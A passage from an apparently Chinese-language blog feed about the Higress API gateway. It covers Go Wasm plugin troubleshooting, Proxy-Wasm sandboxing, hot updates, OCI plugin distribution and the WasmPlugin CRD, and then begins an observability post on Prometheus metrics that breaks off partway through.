go version  # 需要 go1.24+

# 正确编译命令
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 如果还是报错，检查是否有 cgo 依赖
CGO_ENABLED=0 GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 插件加载失败&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查 Envoy 日志
kubectl logs -n higress-system deploy/higress-gateway | grep wasm

# 2. 常见错误
# - &quot;unable to initialize Wasm code&quot;: Wasm 文件损坏或格式错误
# - &quot;failed to load Wasm module&quot;: 内存不足或 VM 配置错误
# - &quot;plugin configuration failed&quot;: 配置解析错误

# 3. 验证 Wasm 文件
file plugin.wasm
wasm-objdump -x plugin.wasm  # 需要 wabt 工具
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: HTTP 调用超时&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 增加超时时间
proxywasm.DispatchHttpCall(
	cluster,
	headers,
	body,
	trailers,
	5000,  // 5 秒（默认 1 秒）
	callback,
)

// 确认 Cluster 配置正确
// 在 Higress 中注册外部服务（McpBridge）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;环境&lt;/strong&gt;：Go 1.24+、oras、Docker、kubectl&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SDK&lt;/strong&gt;：&lt;code&gt;github.com/higress-group/wasm-go&lt;/code&gt;，wrapper 包封装 Proxy-Wasm ABI&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心钩子&lt;/strong&gt;：ProcessRequestHeadersBy / ProcessRequestBodyBy / ProcessResponseHeadersBy / ProcessLogBy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HttpContext&lt;/strong&gt;：Path() / Method() / GetRequestHeader() / SetRequestHeader() / SendHttpResponse()&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;返回值&lt;/strong&gt;：ActionContinue（继续）/ ActionPause（暂停）/ ActionStop（停止）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP 调用&lt;/strong&gt;：proxywasm.DispatchHttpCall（异步），回调中 ResumeHttpRequest()&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编译&lt;/strong&gt;：&lt;code&gt;GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发布&lt;/strong&gt;：&lt;code&gt;oras push registry/plugins/name:version plugin.wasm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;调试&lt;/strong&gt;：日志（wrapper.Log）、本地 Docker 测试、kubectl logs&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-10-wasm-practice/&quot;&gt;Wasm 插件实战&lt;/a&gt; 将完整实现 JWT 认证、请求改写、限流、灰度四个生产级插件。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress Wasm 插件基础</title><link>http://117.72.32.87/blog/posts/higress-roadmap-08-wasm-basics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-08-wasm-basics/</guid><description>深入理解 Higress Wasm 插件机制：Proxy-Wasm 规范、沙箱隔离、热更新、OCI 镜像分发、插件生命周期。</description><pubDate>Thu, 17 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Wasm 插件是 Higress 的核心扩展能力。本文深入讲解 Proxy-Wasm 规范、沙箱机制、热更新原理、OCI 分发流程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么选择 Wasm&lt;/h2&gt;
&lt;h3&gt;传统扩展方式的问题&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;原生 C++ Filter&lt;/td&gt;
&lt;td&gt;开发门槛高、需重编译 Envoy、崩溃影响主进程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lua 脚本&lt;/td&gt;
&lt;td&gt;性能差（~原生 50%）、无类型安全、生态有限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部服务（gRPC/HTTP）&lt;/td&gt;
&lt;td&gt;网络开销大、延迟高、部署复杂&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Wasm 的优势&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│                 Wasm 插件优势                     │
├──────────────┬──────────────────────────────────┤
│ 多语言       │ Go / Rust / AssemblyScript / C++ │
│ 沙箱隔离     │ 内存隔离，崩溃不影响 Envoy        │
│ 热更新       │ 不停机替换插件                    │
│ 高性能       │ ~原生 80-90%                      │
│ 标准化       │ Proxy-Wasm 规范，跨代理（Envoy/MOSN）│
│ 生态         │ OCI 镜像分发，插件市场             │
└──────────────┴──────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proxy-Wasm 规范&lt;/h2&gt;
&lt;h3&gt;什么是 Proxy-Wasm&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Proxy-Wasm&lt;/strong&gt; 是 Envoy 官方定义的 Wasm 扩展标准，规定了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;宿主（Envoy）与插件（Wasm）的 ABI 接口&lt;/li&gt;
&lt;li&gt;插件生命周期钩子&lt;/li&gt;
&lt;li&gt;宿主能力调用（读 Header、发 HTTP 请求、写日志等）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;架构图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│  Envoy（宿主）                                   │
│  ┌───────────────────────────────────────────┐  │
│  │  Proxy-Wasm ABI（C++ 实现）                │  │
│  │  ┌─────────────────────────────────────┐  │  │
│  │  │  Wasm VM（V8 / Wasmtime / WAMR）    │  │  │
│  │  │  ┌───────────────────────────────┐  │  │  │
│  │  │  │  Wasm 插件（Go/Rust 编译）     │  │  │  │
│  │  │  │  - OnHttpRequestHeaders       │  │  │  │
│  │  │  │  - OnHttpRequestBody          │  │  │  │
│  │  │  │  - OnHttpResponseHeaders      │  │  │  │
│  │  │  │  - OnLog                      │  │  │  │
│  │  │  └───────────────────────────────┘  │  │  │
│  │  └─────────────────────────────────────┘  │  │
│  └───────────────────────────────────────────┘  │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ABI 接口分类&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类别&lt;/th&gt;
&lt;th&gt;函数示例&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;生命周期&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_on_context_create&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;插件初始化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP 处理&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_on_request_headers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;处理请求头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宿主调用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_get_header_map_value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 Header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宿主调用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_http_call&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;发起 HTTP 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宿主调用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存管理&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_malloc&lt;/code&gt; / &lt;code&gt;proxy_free&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;内存分配&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;沙箱隔离&lt;/h2&gt;
&lt;h3&gt;内存隔离&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Envoy 进程内存空间
┌─────────────────────────────────────────┐
│  Envoy 核心代码                          │
│  ─────────────────────────────────────  │
│  Wasm VM 内存（沙箱）                    │
│  ┌───────────────────────────────────┐  │
│  │  插件 A 内存（线性内存，受限）      │  │
│  │  - 堆：最大 256MB（可配置）        │  │
│  │  - 栈：独立                       │  │
│  └───────────────────────────────────┘  │
│  ┌───────────────────────────────────┐  │
│  │  插件 B 内存（独立沙箱）            │  │
│  └───────────────────────────────────┘  │
└─────────────────────────────────────────┘

关键特性：
1. 插件无法访问 Envoy 内存（只能读/写自己的线性内存）
2. 插件崩溃只影响自己的沙箱，Envoy 继续运行
3. 插件间内存隔离，互不影响
4. 宿主通过 ABI 接口受控地暴露能力
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;能力限制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Wasm 插件默认【不能】：
- 直接访问文件系统
- 直接发起网络请求（需通过 proxy_http_call）
- 直接访问系统调用
- 直接访问 Envoy 内部数据结构

Wasm 插件【可以】（通过 ABI）：
- 读/写 HTTP Header/Body
- 发起 HTTP/gRPC 请求（proxy_http_call）
- 读/写共享数据（proxy_get/set_shared_data）
- 写日志（proxy_log）
- 访问插件配置（proxy_get_plugin_configuration）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;插件代码（不可信）
   ↓ 编译为 Wasm
   ↓
Wasm VM 验证
   ├── 内存访问边界检查
   ├── 函数签名验证
   └── 无限循环检测（燃料机制）
   ↓
沙箱执行
   ↓ 通过 ABI 调用宿主能力
   ↓
Envoy 验证并执行
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;热更新机制&lt;/h2&gt;
&lt;h3&gt;更新流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 开发者推送新版本 Wasm 镜像到 OCI 仓库
   oras push registry.example.com/plugins/my-plugin:v2 plugin.wasm

2. 更新 WasmPlugin CRD 镜像版本
   kubectl patch wasmplugin my-plugin -p &apos;{&quot;spec&quot;:{&quot;url&quot;:&quot;oci://registry.example.com/plugins/my-plugin:v2&quot;}}&apos;

3. Higress Controller 监听到 CRD 变化

4. Controller 拉取新版本 Wasm 镜像

5. Controller 通过 xDS 推送新配置到 Gateway

6. Envoy 加载新版本 Wasm（新请求用新插件，旧请求继续用旧插件）

7. 旧版本插件在所有请求完成后卸载

整个过程【无需重启 Envoy】，实现真正的热更新。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;版本回滚&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看历史版本
kubectl get wasmplugin my-plugin -o jsonpath=&apos;{.metadata.annotations}&apos;

# 回滚到 v1
kubectl patch wasmplugin my-plugin -p &apos;{&quot;spec&quot;:{&quot;url&quot;:&quot;oci://registry.example.com/plugins/my-plugin:v1&quot;}}&apos;

# 秒级生效
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;灰度发布插件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 按路由灰度插件版本
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: my-plugin
spec:
  url: oci://registry.example.com/plugins/my-plugin:v2
  # 只在特定路由启用新版本
  matchRules:
    - ingress: [default/canary-route]
      config:
        version: v2
  # 其他路由用旧版本
  defaultConfig:
    version: v1
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;OCI 镜像分发&lt;/h2&gt;
&lt;h3&gt;为什么用 OCI&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;传统分发方式：
- 文件下载：版本管理混乱、无签名验证
- ConfigMap：大小限制 1MB、不适合二进制
- 自定义协议：生态不兼容

OCI 镜像分发优势：
- 复用 Docker Registry 生态（Harbor/ACR/GHCR/Docker Hub）
- 版本管理（tag/digest）
- 签名验证（cosign/notary）
- 访问控制（RBAC/Token）
- 全球分发（Registry Mirror/CDN）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;镜像结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;OCI Artifact（Wasm 插件镜像）
├── manifest.json
│   ├── mediaType: application/vnd.oci.image.manifest.v1+json
│   └── layers:
│       ├── mediaType: application/vnd.module.wasm.content.layer.v1+wasm
│       │   └── plugin.wasm（Wasm 二进制）
│       └── mediaType: application/vnd.oci.image.layer.v1.tar+gzip
│           └── README.md / config.json（可选）
└── config.json
    └── 插件元数据（名称、版本、描述）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;推送插件到 OCI 仓库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 安装 oras
curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
tar xzf oras_1.0.0_linux_amd64.tar.gz
mv oras /usr/local/bin/

# 2. 登录 Registry
oras login registry.example.com -u admin -p password

# 3. 推送 Wasm 文件
oras push registry.example.com/plugins/my-plugin:v1 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm

# 4. 验证
oras manifest fetch registry.example.com/plugins/my-plugin:v1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;私有仓库配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: my-plugin
spec:
  url: oci://registry.example.com/plugins/my-plugin:v1
  # 私有仓库认证
  imagePullSecret: registry-credentials
  # 或
  imagePullPolicy: IfNotPresent   # Always / IfNotPresent / Never
---
# 创建 Secret
apiVersion: v1
kind: Secret
metadata:
  name: registry-credentials
  namespace: higress-system
type: kubernetes.io/dockerconfigjson
data:
  .dockerconfigjson: &amp;lt;base64-encoded-docker-config&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件生命周期&lt;/h2&gt;
&lt;h3&gt;完整生命周期&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│  插件加载阶段                                     │
│  1. Envoy 拉取 Wasm 镜像                         │
│  2. Wasm VM 验证并编译                           │
│  3. 调用 proxy_on_context_create（初始化）        │
│  4. 调用 proxy_on_configure（加载配置）           │
└─────────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────────┐
│  请求处理阶段（每个请求）                          │
│  5. proxy_on_request_headers（请求头）            │
│  6. proxy_on_request_body（请求体，可选）          │
│  7. [转发到上游]                                 │
│  8. proxy_on_response_headers（响应头）           │
│  9. proxy_on_response_body（响应体，可选）         │
│  10. proxy_on_log（请求完成，记录日志）            │
└─────────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────────┐
│  插件卸载阶段                                     │
│  11. proxy_on_context_destroy（清理资源）         │
│  12. Wasm VM 释放内存                            │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;钩子函数详解&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;钩子&lt;/th&gt;
&lt;th&gt;触发时机&lt;/th&gt;
&lt;th&gt;可执行操作&lt;/th&gt;
&lt;th&gt;返回值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpRequestHeaders&lt;/td&gt;
&lt;td&gt;收到请求头&lt;/td&gt;
&lt;td&gt;读/写 Header、认证、限流、路由改写&lt;/td&gt;
&lt;td&gt;Continue / Pause / Stop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpRequestBody&lt;/td&gt;
&lt;td&gt;收到请求体&lt;/td&gt;
&lt;td&gt;读/写 Body、内容审核、数据校验&lt;/td&gt;
&lt;td&gt;Continue / Pause / Stop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpResponseHeaders&lt;/td&gt;
&lt;td&gt;收到响应头&lt;/td&gt;
&lt;td&gt;读/写 Header、添加 Header、日志&lt;/td&gt;
&lt;td&gt;Continue / Pause&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpResponseBody&lt;/td&gt;
&lt;td&gt;收到响应体&lt;/td&gt;
&lt;td&gt;读/写 Body、响应改写、脱敏&lt;/td&gt;
&lt;td&gt;Continue / Pause&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnLog&lt;/td&gt;
&lt;td&gt;请求完成&lt;/td&gt;
&lt;td&gt;记录日志、Metrics、审计&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;返回值含义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Continue：继续处理，进入下一个 Filter
return types.ActionContinue

// Pause：暂停处理，等待异步操作完成
// 常用于 proxy_http_call（发起 HTTP 请求）
return types.ActionPause

// Stop：停止处理，直接返回响应
// 常用于认证失败、限流触发
proxywasm.SendHttpResponse(403, nil, []byte(&quot;Forbidden&quot;), -1)
return types.ActionStop
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;WasmPlugin CRD 详解&lt;/h2&gt;
&lt;h3&gt;完整配置示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  # 插件镜像
  url: oci://registry.example.com/plugins/jwt-auth:v1
  
  # 镜像拉取策略
  imagePullPolicy: IfNotPresent
  imagePullSecret: registry-credentials
  
  # 插件阶段（执行顺序）
  phase: AUTHN          # AUTHN / AUTHZ / STATS / UNSPECIFIED_PHASE
  
  # 优先级（同 phase 内，数字越大越先执行）
  priority: 1000
  
  # 默认配置（全局生效）
  defaultConfig:
    issuer: &quot;https://auth.example.com&quot;
    jwks_uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
  
  # 匹配规则（特定路由/域名/服务生效）
  matchRules:
    # 路由级配置
    - ingress: [default/api-route]
      config:
        issuer: &quot;https://api-auth.example.com&quot;
    
    # 域名级配置
    - domain: [admin.example.com]
      config:
        issuer: &quot;https://admin-auth.example.com&quot;
    
    # 服务级配置
    - service: [payment-service.default.svc.cluster.local]
      config:
        strict: true
  
  # 插件失败策略
  failStrategy: FAIL_OPEN   # FAIL_OPEN（继续）/ FAIL_CLOSE（拒绝）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置优先级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;路由级 &amp;gt; 域名级 &amp;gt; 服务级 &amp;gt; 全局级（defaultConfig）

示例：
- defaultConfig: issuer = &quot;https://auth.example.com&quot;
- domain[admin.example.com]: issuer = &quot;https://admin-auth.example.com&quot;
- ingress[default/api-route]: issuer = &quot;https://api-auth.example.com&quot;

最终生效：
- api-route → &quot;https://api-auth.example.com&quot;（路由级）
- admin.example.com 其他路径 → &quot;https://admin-auth.example.com&quot;（域名级）
- 其他所有 → &quot;https://auth.example.com&quot;（全局级）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件阶段（Phase）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;请求处理顺序：
1. AUTHN（认证）→ JWT / OAuth2 / API Key
2. AUTHZ（鉴权）→ RBAC / ABAC
3. UNSPECIFIED_PHASE（自定义）→ 业务插件
4. STATS（统计）→ Metrics / Logging

同 Phase 内按 priority 降序执行（数字大的先执行）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wasm 优势&lt;/strong&gt;：多语言、沙箱隔离、热更新、高性能（~原生 80-90%）、标准化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proxy-Wasm&lt;/strong&gt;：Envoy 官方 Wasm 扩展标准，定义 ABI 接口和生命周期钩子&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;沙箱隔离&lt;/strong&gt;：内存隔离、能力受限（通过 ABI 调用宿主）、崩溃不影响 Envoy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;热更新&lt;/strong&gt;：更新 WasmPlugin CRD → Controller 拉取新镜像 → xDS 推送 → Envoy 加载（无需重启）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OCI 分发&lt;/strong&gt;：复用 Docker Registry 生态，oras push/pull，版本管理 + 签名验证&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生命周期&lt;/strong&gt;：加载 → 请求处理（Headers/Body/Log）→ 卸载&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;钩子返回值&lt;/strong&gt;：Continue（继续）/ Pause（暂停，等待异步）/ Stop（停止，直接响应）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WasmPlugin CRD&lt;/strong&gt;：url、phase、priority、defaultConfig、matchRules（路由/域名/服务级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置优先级&lt;/strong&gt;：路由级 &amp;gt; 域名级 &amp;gt; 服务级 &amp;gt; 全局级&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-09-wasm-go/&quot;&gt;Go 开发 Wasm 插件&lt;/a&gt; 将实战讲解 wasm-go SDK、钩子函数实现、编译调试、插件发布完整流程。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 可观测性</title><link>http://117.72.32.87/blog/posts/higress-roadmap-07-observability/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-07-observability/</guid><description>详解 Higress 可观测性：访问日志、Metrics 指标、Tracing 链路追踪、Prometheus/Grafana/SkyWalking 集成。</description><pubDate>Thu, 17 Sep 2026 05:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
可观测性是生产运维的基础。Higress 内置 Metrics/Tracing/Logging，无缝对接 Prometheus/Grafana/SkyWalking 等生态。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;可观测性三大支柱&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│                可观测性                           │
├──────────────┬──────────────┬──────────────────┤
│   Metrics    │   Tracing    │    Logging       │
│   （指标）    │   （链路）    │    （日志）       │
├──────────────┼──────────────┼──────────────────┤
│ QPS          │ 请求链路      │ 访问日志         │
│ 延迟         │ 耗时分布      │ 错误日志         │
│ 错误率       │ 依赖关系      │ 审计日志         │
│ 饱和度       │ 瓶颈定位      │ 调试信息         │
└──────────────┴──────────────┴──────────────────┘
         ↓              ↓              ↓
    Prometheus     Jaeger/Zipkin    ELK/Loki
    Grafana        SkyWalking       Fluentd
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Metrics 指标&lt;/h2&gt;
&lt;h3&gt;内置指标&lt;/h3&gt;
&lt;p&gt;Higress（Envoy）默认暴露以下指标：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指标名&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_http_downstream_rq_total&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;总请求数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_http_downstream_rq_2xx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;2xx 响应数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_http_downstream_rq_4xx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;4xx 响应数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_http_downstream_rq_5xx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;5xx 响应数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_http_downstream_rq_time&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Histogram&lt;/td&gt;
&lt;td&gt;请求耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_cluster_upstream_rq_total&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;上游请求数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_cluster_upstream_cx_active&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gauge&lt;/td&gt;
&lt;td&gt;活跃连接数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_server_memory_allocated&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gauge&lt;/td&gt;
&lt;td&gt;内存使用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;envoy_server_cpu_usage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gauge&lt;/td&gt;
&lt;td&gt;CPU 使用率&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;启用 Prometheus&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Helm values.yaml
higress-core:
  gateway:
    metrics:
      enabled: true
      port: 15020          # Metrics 端口
      path: /stats/prometheus

# 或手动配置
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    o11y:
      metrics:
        enabled: true
        port: 15020
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prometheus 抓取配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# prometheus.yml
scrape_configs:
  - job_name: &apos;higress-gateway&apos;
    kubernetes_sd_configs:
      - role: pod
        namespaces:
          names: [&apos;higress-system&apos;]
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_label_app]
        regex: higress-gateway
        action: keep
      - source_labels: [__meta_kubernetes_pod_container_port_number]
        regex: &quot;15020&quot;
        action: keep
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关键 PromQL&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# QPS（每秒请求数）
rate(envoy_http_downstream_rq_total{pod=~&quot;higress-gateway.*&quot;}[1m])

# P99 延迟
histogram_quantile(0.99, 
  rate(envoy_http_downstream_rq_time_bucket{pod=~&quot;higress-gateway.*&quot;}[5m])
)

# 错误率
sum(rate(envoy_http_downstream_rq_5xx[5m])) 
/ 
sum(rate(envoy_http_downstream_rq_total[5m]))

# 上游健康度
envoy_cluster_upstream_cx_active{cluster_name=~&quot;.*&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Grafana 监控面板&lt;/h2&gt;
&lt;h3&gt;官方 Dashboard&lt;/h3&gt;
&lt;p&gt;Higress 提供预置 Grafana Dashboard：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 导入 Dashboard JSON
# 下载地址：https://github.com/alibaba/higress/tree/main/grafana
# 或 Grafana Labs 搜索 &quot;Higress&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关键面板&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
